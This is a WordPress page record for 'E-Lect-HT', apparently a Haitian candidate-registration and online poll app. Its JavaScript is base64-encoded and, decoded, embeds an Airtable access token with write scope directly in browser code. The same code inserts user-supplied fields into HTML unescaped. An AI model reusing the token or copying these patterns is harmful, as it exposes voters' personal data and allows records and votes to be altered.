{"id":889,"date":"2026-09-12T11:36:54","date_gmt":"2026-09-12T15:36:54","guid":{"rendered":"https:\/\/ledistingoinfo.com\/?page_id=889"},"modified":"2026-09-16T13:21:07","modified_gmt":"2026-09-16T17:21:07","slug":"e-lect-ht","status":"publish","type":"page","link":"https:\/\/ledistingoinfo.com\/e-lect-ht\/","title":{"rendered":"E-Lect-HT"},"content":{"rendered":"\n<style>\n  :root { --navy:#0a1f44; --red:#c8102e; --bg:#f7f7f9; --card:#fff; --text:#1a1a1a; --muted:#6b7280; --border:#e5e7eb; }\n  * { box-sizing:border-box; }\n  body { font-family:-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif; background:var(--bg); color:var(--text); margin:0; }\n  .wrap { max-width:760px; margin:0 auto; padding:20px 16px 60px; }\n  header.top { background:linear-gradient(135deg,var(--navy),#14305c); color:#fff; padding:26px 20px; border-radius:0 0 18px 18px; text-align:center; margin-bottom:22px; }\n  header.top h1 { margin:0 0 4px; font-size:22px; }\n  header.top p { margin:0; font-size:13px; opacity:0.85; }\n  .maintabs { display:flex; gap:8px; margin-bottom:20px; }\n  .tab-btn { flex:1; padding:10px; border-radius:10px; border:1px solid var(--border); background:var(--card); font-weight:600; font-size:13px; cursor:pointer; color:var(--muted); }\n  .tab-btn.active { background:var(--navy); color:#fff; border-color:var(--navy); }\n  .card { background:var(--card); border:1px solid var(--border); border-radius:14px; padding:20px; margin-bottom:16px; }\n  label { display:block; font-weight:600; font-size:13px; margin:14px 0 6px; color:var(--navy); }\n  label .opt { font-weight:400; color:var(--muted); font-size:12px; }\n  input[type=text],input[type=url],input[type=email],select,textarea { width:100%; padding:10px 12px; border:1px solid var(--border); border-radius:8px; font-size:14px; background:#fafafa; font-family:inherit; }\n  textarea { resize:vertical; min-height:70px; }\n  .hint { font-size:12px; color:var(--muted); margin-top:4px; }\n  button.btn { width:100%; margin-top:16px; padding:13px; border:none; border-radius:10px; background:var(--red); color:#fff; font-weight:700; font-size:15px; cursor:pointer; }\n  button.btn.secondary { background:#374151; }\n  button.btn:disabled { opacity:0.6; }\n  .status { text-align:center; font-size:13px; margin-top:10px; min-height:18px; }\n  .status.ok { color:#15803d; } .status.err { color:var(--red); }\n  .gallery-controls { display:flex; gap:8px; margin-bottom:16px; flex-wrap:wrap; }\n  .gallery-controls select,.gallery-controls input { padding:8px 10px; border-radius:8px; border:1px solid var(--border); font-size:13px; }\n  .candidate-card { display:flex; gap:14px; background:var(--card); border:1px solid var(--border); border-radius:14px; padding:16px; margin-bottom:14px; }\n  .photo { width:64px; height:64px; border-radius:50%; object-fit:cover; flex-shrink:0; background:var(--navy); display:flex; align-items:center; justify-content:center; color:#fff; font-weight:700; font-size:20px; }\n  .cinfo { flex:1; min-width:0; }\n  .cinfo h3 { margin:0 0 2px; font-size:16px; }\n  .badge { display:inline-block; font-size:11px; font-weight:700; padding:2px 8px; border-radius:20px; background:#eef2ff; color:var(--navy); margin-right:6px; }\n  .badge.party { background:#fef2f2; color:var(--red); }\n  .cinfo p { margin:6px 0 0; font-size:13px; color:#374151; }\n  .cinfo .label { font-weight:600; color:var(--navy); }\n  .empty { text-align:center; color:var(--muted); padding:20px; font-size:13px; }\n  .banner { padding:12px 16px; border-radius:10px; font-size:13px; margin-bottom:16px; text-align:center; }\n  .banner.closed { background:#fef2f2; color:var(--red); }\n  .banner.open { background:#ecfdf5; color:#15803d; }\n  .race { border:1px solid var(--border); border-radius:12px; padding:14px; margin-bottom:14px; }\n  .race h3 { margin:0 0 10px; font-size:15px; color:var(--navy); }\n  .cand-option { display:flex; align-items:center; gap:10px; padding:8px 6px; border-radius:8px; cursor:pointer; }\n  .cand-option:hover { background:#f3f4f6; }\n  .cand-option .init { width:32px; height:32px; border-radius:50%; background:var(--navy); color:#fff; display:flex; align-items:center; justify-content:center; font-size:12px; font-weight:700; }\n  .voted-tag { font-size:12px; color:#15803d; font-weight:600; }\n  .result-row { display:flex; justify-content:space-between; font-size:13px; padding:6px 0; border-bottom:1px solid var(--border); }\n  .poster { background:linear-gradient(160deg,var(--navy) 0%,#1c3a6e 60%,var(--red) 140%); border-radius:16px; padding:26px 20px; color:#fff; text-align:center; }\n  .poster .pphoto,.poster .pphoto-fallback { width:90px; height:90px; border-radius:50%; border:3px solid #fff; margin:6px auto 12px; display:flex; align-items:center; justify-content:center; font-size:26px; font-weight:700; background:rgba(255,255,255,0.15); object-fit:cover; }\n  .poster h2 { margin:0 0 4px; font-size:20px; }\n  .poster .ppost { font-size:13px; opacity:0.9; margin-bottom:8px; }\n  .poster .pslogan { font-size:14px; font-style:italic; opacity:0.95; }\n  .poster .pbrand { margin-top:14px; font-size:10px; letter-spacing:2px; opacity:0.7; }\n<\/style>\n<div class=\"wrap\">\n  <header class=\"top\">\n    <h1>E-Lect-HT<\/h1>\n    <p>La technologie au service du vote et la d\u00e9mocratie<\/p>\n    <p style=\"margin-top:6px;font-size:12px;opacity:0.75;\">Nous virtualisons l&rsquo;\u00e9lectorat ha\u00eftien<\/p>\n  <\/header>\n\n  <div class=\"maintabs\">\n    <button class=\"tab-btn active\" id=\"tabBtn_fiche\" onclick=\"showMainTab('fiche')\">\ud83d\udcdd Fiche candidat<\/button>\n    <button class=\"tab-btn\" id=\"tabBtn_galerie\" onclick=\"showMainTab('galerie')\">\ud83d\udccb Candidats<\/button>\n    <button class=\"tab-btn\" id=\"tabBtn_sondage\" onclick=\"showMainTab('sondage')\">\ud83d\uddf3\ufe0f Sondage<\/button>\n  <\/div>\n\n  <!-- ===== ONGLET FICHE CANDIDAT ===== -->\n  <div id=\"tab-fiche\">\n    <div class=\"card\">\n      <label>Nom complet *<\/label>\n      <input type=\"text\" id=\"fullName\" placeholder=\"Ex: Jean-Robert Louis\">\n      <label>Parti politique <span class=\"opt\">(laisser vide ou \u00ab\u00a0Ind\u00e9pendant\u00a0\u00bb)<\/span><\/label>\n      <input type=\"text\" id=\"party\" placeholder=\"Ex: Ind\u00e9pendant\">\n      <label>Num\u00e9ro du parti <span class=\"opt\">(si le parti en a d\u00e9j\u00e0 un)<\/span><\/label>\n      <input type=\"text\" id=\"partyNumber\" placeholder=\"Ex: 12\">\n      <div class=\"hint\">\u00c0 laisser vide si ind\u00e9pendant ou si le parti n&rsquo;a pas encore de num\u00e9ro.<\/div>\n      <label>Logo \/ embl\u00e8me du parti <span class=\"opt\">(lien URL, optionnel)<\/span><\/label>\n      <input type=\"url\" id=\"partyLogoUrl\" placeholder=\"https:\/\/...\">\n      <label>Poste vis\u00e9 *<\/label>\n      <select id=\"poste\" onchange=\"updateLocationLabel()\">\n        <option value=\"\">&#8212; Choisir &#8212;<\/option>\n        <option value=\"Pr\u00e9sident\">Pr\u00e9sident d&rsquo;Ha\u00efti<\/option>\n        <option value=\"S\u00e9nateur\">S\u00e9nateur<\/option>\n        <option value=\"D\u00e9put\u00e9\">D\u00e9put\u00e9<\/option>\n        <option value=\"Maire\">Maire<\/option>\n        <option value=\"D\u00e9l\u00e9gu\u00e9 de ville\">D\u00e9l\u00e9gu\u00e9 de ville<\/option>\n        <option value=\"ASEC\">ASEC<\/option>\n        <option value=\"CASEC\">CASEC<\/option>\n      <\/select>\n      <label id=\"locLabel\">Circonscription *<\/label>\n      <input type=\"text\" id=\"location\" placeholder=\"S\u00e9lectionnez d'abord un poste\">\n      <div class=\"hint\">Pr\u00e9sident \u2192 National \u00b7 S\u00e9nateur \u2192 D\u00e9partement \u00b7 D\u00e9put\u00e9\/Maire \u2192 Commune \u00b7 D\u00e9l\u00e9gu\u00e9 de ville \u2192 Arrondissement \u00b7 ASEC\/CASEC \u2192 Section communale<\/div>\n      <label>Photo professionnelle <span class=\"opt\">(lien URL)<\/span><\/label>\n      <input type=\"url\" id=\"photoUrl\" placeholder=\"https:\/\/...\">\n      <label>Courte bio *<\/label>\n      <textarea id=\"bio\"><\/textarea>\n      <label>Motivation <span class=\"opt\">(en quelques mots)<\/span><\/label>\n      <textarea id=\"motivation\"><\/textarea>\n      <label>Programme \/ priorit\u00e9s *<\/label>\n      <textarea id=\"programme\"><\/textarea>\n      <label>R\u00e9seaux sociaux <span class=\"opt\">(optionnel)<\/span><\/label>\n      <input type=\"text\" id=\"socials\" placeholder=\"Facebook, Instagram, X...\">\n      <label>Email <span class=\"opt\">(v\u00e9rification, non public)<\/span><\/label>\n      <input type=\"text\" id=\"cEmail\" placeholder=\"nom@exemple.com\">\n      <label>T\u00e9l\u00e9phone <span class=\"opt\">(v\u00e9rification, non public)<\/span><\/label>\n      <input type=\"text\" id=\"cPhone\" placeholder=\"Ex: 3712 3456\">\n      <button class=\"btn\" onclick=\"previewCandidate()\">Aper\u00e7u &amp; confirmation<\/button>\n      <div class=\"status\" id=\"ficheStatus\"><\/div>\n    <\/div>\n\n    <div class=\"card\" id=\"confirmSection\" style=\"display:none;\">\n      <div id=\"posterPreview\"><\/div>\n      <p class=\"hint\" style=\"margin-top:14px;text-align:center;\">V\u00e9rifiez toutes les informations avant de confirmer.<\/p>\n      <div style=\"display:flex;gap:10px;margin-top:10px;\">\n        <button class=\"btn secondary\" onclick=\"backToEdit()\">\u270f\ufe0f Modifier<\/button>\n        <button class=\"btn\" id=\"confirmBtn\" onclick=\"confirmAndSave()\">\u2705 Confirmer et enregistrer<\/button>\n      <\/div>\n      <div class=\"status\" id=\"confirmStatus\"><\/div>\n    <\/div>\n  <\/div>\n\n  <!-- ===== ONGLET GALERIE ===== -->\n  <div id=\"tab-galerie\" style=\"display:none;\">\n    <div class=\"gallery-controls\">\n      <select id=\"filterPoste\" onchange=\"renderGallery()\">\n        <option value=\"\">Tous les postes<\/option>\n        <option value=\"Pr\u00e9sident\">Pr\u00e9sident d&rsquo;Ha\u00efti<\/option>\n        <option value=\"S\u00e9nateur\">S\u00e9nateur<\/option>\n        <option value=\"D\u00e9put\u00e9\">D\u00e9put\u00e9<\/option>\n        <option value=\"Maire\">Maire<\/option>\n        <option value=\"D\u00e9l\u00e9gu\u00e9 de ville\">D\u00e9l\u00e9gu\u00e9 de ville<\/option>\n        <option value=\"ASEC\">ASEC<\/option>\n        <option value=\"CASEC\">CASEC<\/option>\n      <\/select>\n      <input type=\"text\" id=\"filterText\" placeholder=\"Rechercher...\" oninput=\"renderGallery()\">\n    <\/div>\n    <div id=\"galleryList\"><div class=\"empty\">Chargement&#8230;<\/div><\/div>\n  <\/div>\n\n  <!-- ===== ONGLET SONDAGE ===== -->\n  <div id=\"tab-sondage\" style=\"display:none;\">\n    <div id=\"settingsBanner\"><\/div>\n\n    <div class=\"card\" id=\"identifyCard\">\n      <h3 style=\"margin-top:0;\">Cr\u00e9er votre compte votant<\/h3>\n      <label>Nom complet *<\/label>\n      <input type=\"text\" id=\"voterName\">\n      <label>Email *<\/label>\n      <input type=\"email\" id=\"voterEmail\">\n      <label>D\u00e9partement<\/label>\n      <input type=\"text\" id=\"voterDept\" placeholder=\"Ex: Ouest\">\n      <label>Commune<\/label>\n      <input type=\"text\" id=\"voterCommune\" placeholder=\"Ex: Delmas\">\n      <label>Arrondissement<\/label>\n      <input type=\"text\" id=\"voterArr\" placeholder=\"Ex: Port-au-Prince\">\n      <label>Section communale<\/label>\n      <input type=\"text\" id=\"voterSection\" placeholder=\"Ex: 1\u00e8re section\">\n      <button class=\"btn\" onclick=\"startVoting()\">Continuer<\/button>\n      <div class=\"status\" id=\"identifyStatus\"><\/div>\n    <\/div>\n\n    <div id=\"voteSection\" style=\"display:none;\">\n      <div id=\"racesList\"><\/div>\n      <button class=\"btn\" id=\"submitVotesBtn\" onclick=\"submitVotes()\">Confirmer mes choix<\/button>\n      <div class=\"status\" id=\"voteStatus\"><\/div>\n    <\/div>\n\n    <div class=\"card\" id=\"confirmVoteCard\" style=\"display:none;\">\n      <h3 style=\"margin-top:0;\">\u2705 Merci, votre vote est enregistr\u00e9<\/h3>\n      <div id=\"confirmRecap\"><\/div>\n      <p class=\"hint\">Un email de confirmation r\u00e9capitulant vos choix vous sera envoy\u00e9 automatiquement.<\/p>\n    <\/div>\n\n    <div class=\"card\" id=\"resultsCard\" style=\"display:none;\">\n      <h3 style=\"margin-top:0;\">\ud83d\udcca R\u00e9sultats<\/h3>\n      <div id=\"resultsList\"><\/div>\n    <\/div>\n  <\/div>\n<\/div>\n\n<script>\nconst _elhtB64 = `Ci8vID09PT0gQ09ORklHVVJBVElPTiBBSVJUQUJMRSDigJQgZ8OpbsOocmUgdW4gdG9rZW4gc3VyIGFpcnRhYmxlLmNvbS9jcmVhdGUvdG9rZW5zID09PT0KLy8gU2NvcGVzIHJlcXVpcyA6IGRhdGEucmVjb3JkczpyZWFkLCBkYXRhLnJlY29yZHM6d3JpdGUsIHNjaGVtYS5iYXNlczpyZWFkCi8vIEFjY8OocyBsaW1pdMOpIMOgIGxhIGJhc2UgIkUtTGVjdC1IVCIgdW5pcXVlbWVudC4KY29uc3QgQUlSVEFCTEVfVE9LRU4gPSAicGF0Q3YwNllqejdVUWZnVDcuZTMzOTI1ZGViNTBjZGRkNDgwYzBiYTRkNTMzNGVlZTY0YmI4MWJlNzRlNmEyZTZkZDE4NmU5ZDQ4OWUwMmFlZSI7CmNvbnN0IEJBU0VfSUQgPSAiYXBwTEpJcjRYWUdUOWlnR0IiOwpjb25zdCBUQUJMRVMgPSB7CiAgY2FuZGlkYXRlczogInRibDFOcmxpeU1YNzBoc29vIiwKICB2b3RlcnM6ICJ0YmxMTG05QUZvQlpjWnZnVCIsCiAgdm90ZXM6ICJ0YmxHSzdqTm5QSTVYRVplRyIsCiAgc2V0dGluZ3M6ICJ0Ymx2aDlJS1l0TWxuSk41eiIKfTsKLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCmFzeW5jIGZ1bmN0aW9uIGF0UmVxdWVzdCh0YWJsZUlkLCB7IG1ldGhvZCA9ICdHRVQnLCBwYXJhbXMgPSBudWxsLCBib2R5ID0gbnVsbCB9ID0ge30pIHsKICBsZXQgdXJsID0gYGh0dHBzOi8vYXBpLmFpcnRhYmxlLmNvbS92MC8ke0JBU0VfSUR9LyR7dGFibGVJZH1gOwogIGlmIChwYXJhbXMpIHVybCArPSAnPycgKyBwYXJhbXM7CiAgY29uc3QgcmVzID0gYXdhaXQgZmV0Y2godXJsLCB7CiAgICBtZXRob2QsCiAgICBoZWFkZXJzOiB7CiAgICAgICdBdXRob3JpemF0aW9uJzogJ0JlYXJlciAnICsgQUlSVEFCTEVfVE9LRU4sCiAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicKICAgIH0sCiAgICBib2R5OiBib2R5ID8gSlNPTi5zdHJpbmdpZnkoYm9keSkgOiB1bmRlZmluZWQKICB9KTsKICBjb25zdCBkYXRhID0gYXdhaXQgcmVzLmpzb24oKTsKICBpZiAoIXJlcy5vaykgdGhyb3cgbmV3IEVycm9yKChkYXRhLmVycm9yICYmIGRhdGEuZXJyb3IubWVzc2FnZSkgfHwgJ0VycmV1ciBBaXJ0YWJsZScpOwogIHJldHVybiBkYXRhOwp9CmZ1bmN0aW9uIGVzYyh2KSB7IHJldHVybiBTdHJpbmcodiB8fCAnJykucmVwbGFjZSgvJy9nLCAiXFwnIik7IH0KZnVuY3Rpb24gc2x1Z0luaXQobmFtZSkgeyByZXR1cm4gKG5hbWUgfHwgJycpLnNwbGl0KCcgJykubWFwKHcgPT4gd1swXSkuam9pbignJykuc2xpY2UoMCwyKS50b1VwcGVyQ2FzZSgpOyB9CgovLyAtLS0tLS0tLS0tIE5BVklHQVRJT04gLS0tLS0tLS0tLQpmdW5jdGlvbiBzaG93TWFpblRhYihuYW1lKSB7CiAgWydmaWNoZScsJ2dhbGVyaWUnLCdzb25kYWdlJ10uZm9yRWFjaCh0ID0+IHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YWItJyArIHQpLnN0eWxlLmRpc3BsYXkgPSAodCA9PT0gbmFtZSkgPyAnYmxvY2snIDogJ25vbmUnOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RhYkJ0bl8nICsgdCkuY2xhc3NMaXN0LnRvZ2dsZSgnYWN0aXZlJywgdCA9PT0gbmFtZSk7CiAgfSk7CiAgaWYgKG5hbWUgPT09ICdnYWxlcmllJykgbG9hZENhbmRpZGF0ZXMoKTsKICBpZiAobmFtZSA9PT0gJ3NvbmRhZ2UnKSBpbml0U29uZGFnZSgpOwp9CgovLyAtLS0tLS0tLS0tIEZJQ0hFIENBTkRJREFUIC0tLS0tLS0tLS0KZnVuY3Rpb24gdXBkYXRlTG9jYXRpb25MYWJlbCgpIHsKICBjb25zdCBwb3N0ZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwb3N0ZScpLnZhbHVlOwogIGNvbnN0IGxhYmVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvY0xhYmVsJyk7CiAgY29uc3QgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9jYXRpb24nKTsKICBjb25zdCBtYXAgPSB7ICdQcsOpc2lkZW50JzonTml2ZWF1IG5hdGlvbmFsJywgJ1PDqW5hdGV1cic6J0TDqXBhcnRlbWVudCAqJywgJ0TDqXB1dMOpJzonQ29tbXVuZSAqJywgJ01haXJlJzonQ29tbXVuZSAqJywgJ0TDqWzDqWd1w6kgZGUgdmlsbGUnOidBcnJvbmRpc3NlbWVudCAqJywgJ0FTRUMnOidTZWN0aW9uIGNvbW11bmFsZSAqJywgJ0NBU0VDJzonU2VjdGlvbiBjb21tdW5hbGUgKicgfTsKICBsYWJlbC50ZXh0Q29udGVudCA9IG1hcFtwb3N0ZV0gfHwgJ0NpcmNvbnNjcmlwdGlvbiAqJzsKICBpZiAocG9zdGUgPT09ICdQcsOpc2lkZW50JykgaW5wdXQudmFsdWUgPSAnTmF0aW9uYWwnOwp9CgpsZXQgcGVuZGluZ0NhbmRpZGF0ZSA9IG51bGw7CgpmdW5jdGlvbiBidWlsZFBvc3Rlckh0bWwoZSkgewogIGNvbnN0IGluaXRpYWxzID0gc2x1Z0luaXQoZS5mdWxsTmFtZSk7CiAgY29uc3QgcGhvdG8gPSBlLnBob3RvVXJsCiAgICA\/IGA8aW1nIGNsYXNzPSJwcGhvdG8iIHNyYz0iJHtlLnBob3RvVXJsfSIgb25lcnJvcj0idGhpcy5vdXRlckhUTUw9JzxkaXYgY2xhc3M9cHBob3RvLWZhbGxiYWNrPiR7aW5pdGlhbHN9PC9kaXY+JyI+YAogICAgOiBgPGRpdiBjbGFzcz0icHBob3RvLWZhbGxiYWNrIj4ke2luaXRpYWxzfTwvZGl2PmA7CiAgcmV0dXJuIGA8ZGl2IGNsYXNzPSJwb3N0ZXIiPgogICAgJHtwaG90b30KICAgIDxoMj4ke2UuZnVsbE5hbWV9PC9oMj4KICAgIDxkaXYgY2xhc3M9InBwb3N0Ij4ke2UucG9zdGV9IMK3ICR7ZS5sb2NhdGlvbn08L2Rpdj4KICAgICR7ZS5wYXJ0eSA\/IGA8ZGl2IHN0eWxlPSJmb250LXNpemU6MTJweDtvcGFjaXR5OjAuODU7bWFyZ2luLWJvdHRvbTo4cHg7Ij4ke2UucGFydHl9JHtlLnBhcnR5TnVtYmVyID8gJyDigJQgTsKwICcgKyBlLnBhcnR5TnVtYmVyIDogJyd9PC9kaXY+YCA6ICcnfQogICAgJHtlLm1vdGl2YXRpb24gPyBgPGRpdiBjbGFzcz0icHNsb2dhbiI+IiR7ZS5tb3RpdmF0aW9ufSI8L2Rpdj5gIDogJyd9CiAgICA8ZGl2IGNsYXNzPSJwYnJhbmQiPlZJVkVaIEVUIFZPVEVaIMOAIEwnw4hSRSBEVSBOVU3DiVJJUVVFPC9kaXY+CiAgPC9kaXY+YDsKfQoKZnVuY3Rpb24gcHJldmlld0NhbmRpZGF0ZSgpIHsKICBjb25zdCBmdWxsTmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmdWxsTmFtZScpLnZhbHVlLnRyaW0oKTsKICBjb25zdCBwb3N0ZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwb3N0ZScpLnZhbHVlOwogIGNvbnN0IGxvY2F0aW9uID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvY2F0aW9uJykudmFsdWUudHJpbSgpOwogIGNvbnN0IGJpbyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaW8nKS52YWx1ZS50cmltKCk7CiAgY29uc3QgcHJvZ3JhbW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb2dyYW1tZScpLnZhbHVlLnRyaW0oKTsKICBjb25zdCBzdGF0dXNFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWNoZVN0YXR1cycpOwoKICBpZiAoIWZ1bGxOYW1lIHx8ICFwb3N0ZSB8fCAhbG9jYXRpb24gfHwgIWJpbyB8fCAhcHJvZ3JhbW1lKSB7CiAgICBzdGF0dXNFbC50ZXh0Q29udGVudCA9ICdNZXJjaSBkZSByZW1wbGlyIHRvdXMgbGVzIGNoYW1wcyBvYmxpZ2F0b2lyZXMgKCopJzsKICAgIHN0YXR1c0VsLmNsYXNzTmFtZSA9ICdzdGF0dXMgZXJyJzsKICAgIHJldHVybjsKICB9CiAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnJzsKCiAgcGVuZGluZ0NhbmRpZGF0ZSA9IHsKICAgIGZ1bGxOYW1lLCBwb3N0ZSwgbG9jYXRpb24sCiAgICBwYXJ0eTogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BhcnR5JykudmFsdWUudHJpbSgpLAogICAgcGFydHlOdW1iZXI6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXJ0eU51bWJlcicpLnZhbHVlLnRyaW0oKSwKICAgIHBhcnR5TG9nb1VybDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BhcnR5TG9nb1VybCcpLnZhbHVlLnRyaW0oKSwKICAgIHBob3RvVXJsOiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGhvdG9VcmwnKS52YWx1ZS50cmltKCksCiAgICBiaW8sIHByb2dyYW1tZSwKICAgIG1vdGl2YXRpb246IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtb3RpdmF0aW9uJykudmFsdWUudHJpbSgpLAogICAgc29jaWFsczogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NvY2lhbHMnKS52YWx1ZS50cmltKCksCiAgICBlbWFpbDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NFbWFpbCcpLnZhbHVlLnRyaW0oKSwKICAgIHBob25lOiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY1Bob25lJykudmFsdWUudHJpbSgpCiAgfTsKCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bvc3RlclByZXZpZXcnKS5pbm5lckhUTUwgPSBidWlsZFBvc3Rlckh0bWwocGVuZGluZ0NhbmRpZGF0ZSk7CiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnI3RhYi1maWNoZSAuY2FyZCcpWzBdLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbmZpcm1TZWN0aW9uJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7Cn0KCmZ1bmN0aW9uIGJhY2tUb0VkaXQoKSB7CiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnI3RhYi1maWNoZSAuY2FyZCcpWzBdLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb25maXJtU2VjdGlvbicpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Cn0KCmFzeW5jIGZ1bmN0aW9uIGNvbmZpcm1BbmRTYXZlKCkgewogIGlmICghcGVuZGluZ0NhbmRpZGF0ZSkgcmV0dXJuOwogIGNvbnN0IHN0YXR1c0VsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbmZpcm1TdGF0dXMnKTsKICBjb25zdCBidG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29uZmlybUJ0bicpOwogIGJ0bi5kaXNhYmxlZCA9IHRydWU7CiAgc3RhdHVzRWwudGV4dENvbnRlbnQgPSAnRW5yZWdpc3RyZW1lbnQgZW4gY291cnMuLi4nOwogIHN0YXR1c0VsLmNsYXNzTmFtZSA9ICdzdGF0dXMnOwoKICBjb25zdCBjID0gcGVuZGluZ0NhbmRpZGF0ZTsKICB0cnkgewogICAgYXdhaXQgYXRSZXF1ZXN0KFRBQkxFUy5jYW5kaWRhdGVzLCB7CiAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICBib2R5OiB7IHJlY29yZHM6IFt7IGZpZWxkczogewogICAgICAgIGZ1bGxfbmFtZTogYy5mdWxsTmFtZSwgcGFydHk6IGMucGFydHksIHBhcnR5X251bWJlcjogYy5wYXJ0eU51bWJlciwgcGFydHlfbG9nb191cmw6IGMucGFydHlMb2dvVXJsLAogICAgICAgIHBvc3RlOiBjLnBvc3RlLCBsb2NhdGlvbjogYy5sb2NhdGlvbiwgcGhvdG9fdXJsOiBjLnBob3RvVXJsLCBiaW86IGMuYmlvLCBtb3RpdmF0aW9uOiBjLm1vdGl2YXRpb24sCiAgICAgICAgcHJvZ3JhbW1lOiBjLnByb2dyYW1tZSwgc29jaWFsczogYy5zb2NpYWxzLCBlbWFpbDogYy5lbWFpbCwgcGhvbmU6IGMucGhvbmUKICAgICAgfX1dfQogICAgfSk7CiAgICBzdGF0dXNFbC50ZXh0Q29udGVudCA9ICfinIUgRmljaGUgY29uZmlybcOpZSBldCBlbnJlZ2lzdHLDqWUuIE1lcmNpICEnOwogICAgc3RhdHVzRWwuY2xhc3NOYW1lID0gJ3N0YXR1cyBvayc7CiAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcjdGFiLWZpY2hlIGlucHV0LCAjdGFiLWZpY2hlIHRleHRhcmVhLCAjdGFiLWZpY2hlIHNlbGVjdCcpLmZvckVhY2goZWwgPT4gZWwudmFsdWUgPSAnJyk7CiAgICBwZW5kaW5nQ2FuZGlkYXRlID0gbnVsbDsKICB9IGNhdGNoIChlKSB7CiAgICBzdGF0dXNFbC50ZXh0Q29udGVudCA9ICfinYwgJyArIGUubWVzc2FnZTsKICAgIHN0YXR1c0VsLmNsYXNzTmFtZSA9ICdzdGF0dXMgZXJyJzsKICB9CiAgYnRuLmRpc2FibGVkID0gZmFsc2U7Cn0KCi8vIC0tLS0tLS0tLS0gR0FMRVJJRSAtLS0tLS0tLS0tCmxldCBhbGxDYW5kaWRhdGVzID0gW107CmFzeW5jIGZ1bmN0aW9uIGxvYWRDYW5kaWRhdGVzKCkgewogIGNvbnN0IGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2dhbGxlcnlMaXN0Jyk7CiAgZWwuaW5uZXJIVE1MID0gJzxkaXYgY2xhc3M9ImVtcHR5Ij5DaGFyZ2VtZW50Li4uPC9kaXY+JzsKICB0cnkgewogICAgY29uc3QgZmllbGRzID0gWydmdWxsX25hbWUnLCdwYXJ0eScsJ3BhcnR5X251bWJlcicsJ3BhcnR5X2xvZ29fdXJsJywncG9zdGUnLCdsb2NhdGlvbicsJ3Bob3RvX3VybCcsJ2JpbycsJ21vdGl2YXRpb24nLCdwcm9ncmFtbWUnLCdzb2NpYWxzJ10KICAgICAgLm1hcChmID0+ICdmaWVsZHNbXT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGYpKS5qb2luKCcmJyk7CiAgICBjb25zdCBkYXRhID0gYXdhaXQgYXRSZXF1ZXN0KFRBQkxFUy5jYW5kaWRhdGVzLCB7IHBhcmFtczogZmllbGRzIH0pOwogICAgYWxsQ2FuZGlkYXRlcyA9IChkYXRhLnJlY29yZHMgfHwgW10pLm1hcChyID0+ICh7CiAgICAgIGZ1bGxOYW1lOiByLmZpZWxkcy5mdWxsX25hbWUsIHBhcnR5OiByLmZpZWxkcy5wYXJ0eSwgcGFydHlOdW1iZXI6IHIuZmllbGRzLnBhcnR5X251bWJlciwKICAgICAgcGFydHlMb2dvVXJsOiByLmZpZWxkcy5wYXJ0eV9sb2dvX3VybCwgcG9zdGU6IHIuZmllbGRzLnBvc3RlLCBsb2NhdGlvbjogci5maWVsZHMubG9jYXRpb24sCiAgICAgIHBob3RvVXJsOiByLmZpZWxkcy5waG90b191cmwsIGJpbzogci5maWVsZHMuYmlvLCBtb3RpdmF0aW9uOiByLmZpZWxkcy5tb3RpdmF0aW9uLAogICAgICBwcm9ncmFtbWU6IHIuZmllbGRzLnByb2dyYW1tZSwgc29jaWFsczogci5maWVsZHMuc29jaWFscwogICAgfSkpOwogICAgcmVuZGVyR2FsbGVyeSgpOwogIH0gY2F0Y2ggKGUpIHsKICAgIGVsLmlubmVySFRNTCA9ICc8ZGl2IGNsYXNzPSJlbXB0eSI+SW1wb3NzaWJsZSBkZSBjaGFyZ2VyIGxlcyBmaWNoZXMuPC9kaXY+JzsKICB9Cn0KCmZ1bmN0aW9uIHJlbmRlckdhbGxlcnkoKSB7CiAgY29uc3QgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2FsbGVyeUxpc3QnKTsKICBjb25zdCBwb3N0ZUZpbHRlciA9IGRvY3VtZW5